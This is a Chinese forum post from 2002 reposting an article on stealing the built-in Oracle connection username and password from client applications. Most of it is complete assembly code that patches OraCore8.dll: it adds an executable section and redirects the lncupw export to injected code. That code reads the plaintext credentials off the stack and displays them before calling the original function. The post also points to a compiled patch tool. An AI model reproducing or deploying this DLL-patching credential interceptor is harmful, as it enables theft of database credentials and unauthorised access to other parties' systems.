Java开发网 Java开发网
注册 | 登录 | 帮助 | 搜索 | 排行榜 | 发帖统计  

您没有登录

» Java开发网 » Database/JDBC/SQL/JDO/Hibernate  

按打印兼容模式打印这个话题 打印话题    把这个话题寄给朋友 寄给朋友    该主题的所有更新都将Email到你的邮箱 订阅主题
flat modethreaded modego to previous topicgo to next topicgo to back
作者 [转载]如何截获Oracle数据库连接密码 [精华]
九佰



版主


发贴: 983
积分: 126
于 2002-12-27 10:20 user profilesend a private message to usersearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
如何截获Oracle数据库连接密码
作者:罗云彬·发布日期:2002-12-6
-------------------------------------------------------------------------------
概述
Oracle 系统是应用最广泛的服务器/客户端类型的数据库系统,其密码验证等安全措施也做得比较严格,但是通过本文所描述的方法,我们还是有机会从应用程序中截获数据库连接的用户名和密码。

原理

大部分的服务器/客户端系统的结构可以这样描述:

客户端 <---(1)---> 系统TCP/IP模块 <---(2)---> 网络 <----> 系统的TCP/IP模块 <----> 服务端

对于这些系统,一般的安全问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主机的时候,其登录密码都是未经加密的,只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包,就可以很容易地截获用户名和密码。

但对于 Oracle 系统来说,用户名和密码在网络上传递之前,是经过加密的,而且加密的算法是不可逆的,即使使用嗅探器探听到数据包,开始无法把数据库的连接密码恢复出来,Oracle 系统的结构可以如下描述:

客户端应用程序 <--(1)--> Oracle客户端软件 <---(2)---> 系统TCP/IP模块 <---(3)---> 网络 <--> 系统的TCP/IP模块 <---> Oracle数据库

对于这一类系统,所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的,但是,考虑一下我们编写 Oracle 数据库应用程序的时候,无论是通过 ODBC 还是 Pro C,或者其他的 BDE 环境等,都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的,所以在(1)位置的数据流肯定明文的,密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去,如果在(1)的位置进行拦截,就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中,也就是发生在 API 调用的层次,所以只要找到密码加密模块的入口,在对相应的 API 进行 Hook,就能截获到密码了。

有人可能存在一个疑问:使用 Sniffer 可以监听到网络上其他计算机的连接数据包,而在 API 层次上进行拦截是针对本机的,但要是自己能够在本机上连接,就表示已经知道密码了,再去截获不是多此一举吗?

非也!

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端,这个客户端可能是用 C、PowerBuilder 和其他语言开发的,这些软件提供一个界面提示用户输入用户名和密码登录系统,但是这个用户名和密码并不是数据库的连接用户名和密码,而仅仅是一个类似于 users 表中的一条记录而已,而程序内部内置的数据库连接帐号才是我们的目标,一般来说,客户端应用程序是这样工作的:

1. 使用一个内置的数据库连接帐号连接到数据库。
2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy
3. 使用类似于 select * from users where username='xxx' and password='yyy' 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号,这个帐号存在于客户端软件中,虽然可能已经被静态加密(也就是说用16进制软件去搜寻可执行文件时并不能被找到),但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了,现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手,经过了一番跟踪以后(这里省去跟踪的步骤 n 步,大家可以尝试自己跟踪一下),就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的,而且这个函数的调用方法如下:

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码,以及他们的长度,运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据,以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:

※ 文件名字符串放在 szFileName 指定的缓冲区中。
※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。
※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。


    invoke  CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
      FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
    .if  eax ==  INVALID_HANDLE_VALUE
      invoke  MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR
      jmp  _Ret
    .endif
    mov  @hFile,eax
;********************************************************************
; esi --> 原PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
    mov  esi,lpPeHead
    assume  esi:ptr IMAGE_NT_HEADERS
    movzx  eax,[esi].FileHeader.NumberOfSections
    dec  eax
    mov  ecx,sizeof IMAGE_SECTION_HEADER
    mul  ecx

    mov  edx,esi
    add  edx,eax
    add  edx,sizeof IMAGE_NT_HEADERS
    mov  ebx,edx
    add  ebx,sizeof IMAGE_SECTION_HEADER
    assume  ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; 加入一个新的节,并修正一些PE头部的内容
;********************************************************************
    inc  [esi].FileHeader.NumberOfSections
    mov  eax,[edx].PointerToRawData
    add  eax,[edx].SizeOfRawData
    mov  [ebx].PointerToRawData,eax
    invoke  _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment
    mov  [ebx].SizeOfRawData,eax
    invoke  _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment
    add  [esi].OptionalHeader.SizeOfCode,eax  ;修正SizeOfCode
    add  [esi].OptionalHeader.SizeOfImage,eax  ;修正SizeOfImage
    invoke  _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
    add  eax,[edx].VirtualAddress
    mov  [ebx].VirtualAddress,eax
    mov  [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
    mov  [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
      or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    invoke  lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 写文件
;********************************************************************
    invoke  SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN
    invoke  WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\
      addr @dwTemp,NULL
    invoke  SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
    invoke  WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
      addr @dwTemp,NULL
    mov  eax,[ebx].PointerToRawData
    add  eax,[ebx].SizeOfRawData
    invoke  SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
    invoke  SetEndOfFile,@hFile
;********************************************************************
; 修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
    mov  eax,[ebx].VirtualAddress
    add  eax,(offset _dwOldEntry-offset APPEND_CODE+4)
    sub  dwProcEntry,eax
    mov  ecx,[ebx].PointerToRawData
    add  ecx,(offset _dwOldEntry-offset APPEND_CODE)
    invoke  SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
    invoke  WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 修正入口指针
;********************************************************************
    mov  eax,[ebx].VirtualAddress
    add  eax,(offset _NewEntry-offset APPEND_CODE)
    mov  dwProcEntry,eax
    invoke  SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN
    invoke  WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 关闭文件
;********************************************************************
    invoke  CloseHandle,@hFile
_Ret:
;    修改完成

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到 OraCore8.dll 文件后面的执行代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 一些函数的原形定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress  typedef  proto  :dword,:dword
_ProtoLoadLibrary  typedef  proto  :dword
_ProtoMessageBox  typedef  proto  :dword,:dword,:dword,:dword
_Protowsprintf    typedef  proto c  :dword,:VARARG
_ApiGetProcAddress  typedef  ptr  _ProtoGetProcAddress
_ApiLoadLibrary    typedef  ptr  _ProtoLoadLibrary
_ApiMessageBox    typedef  ptr  _ProtoMessageBox
_Apiwsprintf    typedef  ptr  _Protowsprintf
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
APPEND_CODE  equ  this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32  dd  ?
hDllUser32  dd  ?
_GetProcAddress  _ApiGetProcAddress  ?
_LoadLibrary  _ApiLoadLibrary    ?
_MessageBox  _ApiMessageBox    ?
_wsprintf  _Apiwsprintf    ?
szLoadLibrary  db  'LoadLibraryA',0
szGetProcAddress db  'GetProcAddress',0
szUser32  db  'user32',0
szMessageBox  db  'MessageBoxA',0
szwsprintf  db  'wsprintfA',0
szCaption  db  'Oracle 8i 密码截取补丁',0
szFormatPwd  db  '截获 Oracle 连接:',0dh,0ah,0dh,0ah
    db  '用户名:%s',0dh,0ah
    db  '密 码:%s',0
szTmpBuffer  db  512 dup (?)
szUserName  db  64 dup (?)
szPassWord  db  64 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler  proc  _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

    pushad
    mov  esi,_lpExceptionRecord
    mov  edi,_lpContext
    assume  esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
    mov  eax,_lpSEH
    push  [eax + 0ch]
    pop  [edi].regEbp
    push  [eax + 8]
    pop  [edi].regEip
    push  eax
    pop  [edi].regEsp
    assume  esi:nothing,edi:nothing
    popad
    mov  eax,ExceptionContinueExecution
    ret

_SEHHandler  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szKernel32  db  'KERNEL32'
_GetKernelBase  proc  _dwKernelRet
    local  @dwReturn

    pushad
    mov  @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
    call  @F
    @@:
    pop  ebx
    sub  ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
    assume  fs:nothing
    push  ebp
    lea  eax,[ebx + offset _PageError]
    push  eax
    lea  eax,[ebx + offset _SEHHandler]
    push  eax
    push  fs:[0]
    mov  fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
    mov  edi,_dwKernelRet
    and  edi,0ffff0000h
    .while  TRUE
      .if  word ptr [edi] == IMAGE_DOS_SIGNATURE
        mov  esi,edi
        add  esi,[esi+003ch]
        .if word ptr [esi] == IMAGE_NT_SIGNATURE
          assume  esi:ptr IMAGE_NT_HEADERS
          mov  esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
          add  esi,edi
          assume  esi:ptr IMAGE_EXPORT_DIRECTORY
          mov  esi,[esi].nName
          add  esi,edi
          mov  ecx,sizeof szKernel32
          push  edi
          lea  edi,[ebx+szKernel32]
          cld
          repz  cmpsb
          pop  edi
          .if  ZERO?
            mov  @dwReturn,edi
            .break
          .endif
          assume  esi:nothing
        .endif
      .endif
      _PageError:
      sub  edi,010000h
      .break  .if edi < 70000000h
    .endw
    pop  fs:[0]
    add  esp,0ch
    popad
    mov  eax,@dwReturn
    ret

_GetKernelBase  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi    proc  _hModule,_lpszApi
    local  @dwReturn,@dwStringLength

    pushad
    mov  @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
    call  @F
    @@:
    pop  ebx
    sub  ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
    assume  fs:nothing
    push  ebp
    lea  eax,[ebx + offset _Error]
    push  eax
    lea  eax,[ebx + offset _SEHHandler]
    push  eax
    push  fs:[0]
    mov  fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
    mov  edi,_lpszApi
    mov  ecx,-1
    xor  al,al
    cld
    repnz  scasb
    mov  ecx,edi
    sub  ecx,_lpszApi
    mov  @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
    mov  esi,_hModule
    add  esi,[esi + 3ch]
    assume  esi:ptr IMAGE_NT_HEADERS
    mov  esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
    add  esi,_hModule
    assume  esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
    mov  ebx,[esi].AddressOfNames
    add  ebx,_hModule
    xor  edx,edx
    .repeat
      push  esi
      mov  edi,[ebx]
      add  edi,_hModule
      mov  esi,_lpszApi
      mov  ecx,@dwStringLength
      repz  cmpsb
      .if  ZERO?
        pop  esi
        jmp  @F
      .endif
      pop  esi
      add  ebx,4
      inc  edx
    .until  edx >=  [esi].NumberOfNames
    jmp  _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
    sub  ebx,[esi].AddressOfNames
    sub  ebx,_hModule
    shr  ebx,1
    add  ebx,[esi].AddressOfNameOrdinals
    add  ebx,_hModule
    movzx  eax,word ptr [ebx]
    shl  eax,2
    add  eax,[esi].AddressOfFunctions
    add  eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
    mov  eax,[eax]
    add  eax,_hModule
    mov  @dwReturn,eax
_Error:
    pop  fs:[0]
    add  esp,0ch
    assume  esi:nothing
    popad
    mov  eax,@dwReturn
    ret

_GetApi    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
    pushad
    call  @F
    @@:
    pop  ebx
    sub  ebx,offset @B
;********************************************************************
    .if  dword ptr [ebx+_MessageBox]
      jmp  @F
    .endif
;********************************************************************
    invoke  _GetKernelBase,7b000000h  ;获取Kernel32.dll基址
    or  eax,eax
    jz  _ToOldEntry
    mov  [ebx+hDllKernel32],eax  ;获取GetProcAddress入口

    lea  eax,[ebx+szGetProcAddress]
    invoke  _GetApi,[ebx+hDllKernel32],eax
    or  eax,eax
    jz  _ToOldEntry
    mov  [ebx+_GetProcAddress],eax

    lea  eax,[ebx+szLoadLibrary]  ;获取LoadLibrary入口
    invoke  [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    or  eax,eax
    jz  _ToOldEntry
    mov  [ebx+_LoadLibrary],eax

    lea  eax,[ebx+szUser32]  ;获取User32.dll基址
    invoke  [ebx+_LoadLibrary],eax
    or  eax,eax
    jz  _ToOldEntry
    mov  [ebx+hDllUser32],eax

    lea  eax,[ebx+szMessageBox]  ;获取MessageBox入口
    invoke  [ebx+_GetProcAddress],[ebx+hDllUser32],eax
    mov  [ebx+_MessageBox],eax
    or  eax,eax
    jz  _ToOldEntry

    lea  eax,[ebx+szwsprintf]  ;获取MessageBox入口
    invoke  [ebx+_GetProcAddress],[ebx+hDllUser32],eax
    mov  [ebx+_wsprintf],eax
    or  eax,eax
    jz  _ToOldEntry
;********************************************************************
; 程序功能开始
;********************************************************************
; lncupw 的调用方式是:
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 现在的堆栈内容是:
;      ...
;  esp+14*4  dwLenUserName
;  esp+13*4  addr szUserName
;  esp+12*4  dwLenPass
;  esp+11*4  addr szPassword
;  esp+10*4  1eh
;  esp+9*4    addr Output
;  esp+8*4    call's return address
;  esp+到esp+8*4  pusha 推入堆栈的8个寄存器值
;
; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序
; 传递进来的用来连接数据库的用户名和密码地址。
;********************************************************************
@@:
    mov  esi,[esp+13*4]    ;username
    lea  edi,[ebx+szUserName]
    mov  ecx,[esp+14*4]
    cmp  ecx,60
    jle  @F
    mov  ecx,60
    @@:
    cld
    rep  movsb
    xor  eax,eax
    stosb

    mov  esi,[esp+11*4]    ;password
    lea  edi,[ebx+szPassWord]
    mov  ecx,[esp+12*4]
    cmp  ecx,60
    jle  @F
    mov  ecx,60
    @@:
    rep  movsb
    xor  eax,eax
    stosb

    lea  eax,[ebx+szUserName]
    lea  ecx,[ebx+szPassWord]
    lea  edx,[ebx+szFormatPwd]
    lea  esi,[ebx+szTmpBuffer]
    invoke  [ebx+_wsprintf],esi,edx,eax,ecx

    lea  ecx,[ebx+szTmpBuffer]
    lea  eax,[ebx+szCaption]
    invoke  [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
    popad
    db  0e9h  ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
    dd  ?  ;用来填入原来的 lncupw 函数的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END  equ  this byte

对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!

其他

1. Oracle 客户端的版本问题

OraCore8.dll 仅存在于 Oracle 8.1.0 以上的版本中,Oracle 7.x 版本中并不存在这个 dll 文件,也没有其他 dll 包含 lncupw 函数,而 Oracle 8.0.x 版本中仅在服务器端存在 OraCore8.dll 文件。所以本程序仅仅适用于 Oracle 8.1.0 以上版本。

不过这又有什么关系呢!如果有需要跟踪的客户端软件,那么这个软件一般并不会要求特定的 Oracle 客户端的版本,只要在自己机器上安装一个 8.1.x 版本后再进行密码截获就是了,这就是软件分层结构带来的好处!

2. 已经编译好的补丁软件可以在作品发布中找到。

3. 可以参考的资料

由于时间关系,本文不可能把涉及的 PE 文件的相关结构一一具体说明,如果需要这方面的资料,可以参考我写的那本《Windows环境下32位汇编语言程序设计》(电子工业出版社出版)一书中的以下章节:

--> 17.1 节:PE文件的结构
--> 17.3 节:导出表
--> 17.6.1 节:动态获取API入口地址
--> 17.6.2 节:在PE文件上添加执行代码

慢着!慢着!不要扔砖头!我又不是为了给自己的书做广告#¥%!◎……×……那个谁谁谁,拜托你要扔也扔些玉嘛……


九佰 edited on 2002-12-27 10:58


http://www.teamlet.org

海纳百川,有容乃大
壁立千仞,无欲则刚
智者不惑,勇者无惧
止戈为武,仁者无敌

话题树型展开
人气 标题 作者 字数 发贴时间
7765 [精华] [转载]如何截获Oracle数据库连接密码 九佰 27235 2002-12-27 10:20
6000 提供拦截程序,呵呵~~ 九佰 0 2002-12-27 10:25
5317 Re:[转载]如何截获Oracle数据库连接密码 zhjfirst 83 2002-12-27 13:58

flat modethreaded modego to previous topicgo to next topicgo to back
  已读帖子
  新的帖子
  被删除的帖子
Jump to the top of page

   Powered by Jute Powerful Forum® Version Jute 1.5.6 Ent
Copyright © 2002-2021 Cjsdn Team. All Righits Reserved. 闽ICP备05005120号-1
客服电话 18559299278    客服信箱 714923@qq.com    客服QQ 714923